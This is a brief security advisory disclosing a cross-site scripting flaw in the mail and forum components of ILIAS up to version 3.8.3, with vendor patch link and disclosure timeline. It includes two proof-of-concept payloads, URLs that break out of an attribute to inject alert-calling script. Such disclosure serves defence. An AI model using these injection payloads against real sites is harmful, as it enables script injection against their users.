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ILIAS <= 3.8.3 Cross Site Scripting

Author: L4teral <l4teral [4t] gmail com>
Impact: Cross Site Scripting
Status: patch available

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Affected software description:

Application: ILIAS
Version: <= 3.8.3
Vendor: http://www.ilias.de

Description:
ILIAS is a powerful web-based learning management system that allows
you to easily manage learning resources in an integrated system.

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Vulnerability:

The mailing and forum components are vulnerable to cross site scripting.

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PoC/Exploit:

create forum post/mail with:
http://www.ex"style="width:expression(alert('xss'))"ample.com

http://www.ex"onmouseover="javascript:alert('xss');"ample.com

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Solution:

install security patch:
http://www.ilias.de/docu/goto.php?target=pg_16836_35&amp;client_id=docu

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Timeline:

17.10.2007 - vendor informed
25.10.2007 - vendor responded
29.10.2007 - vendor released patch
30.10.2007 - public disclosure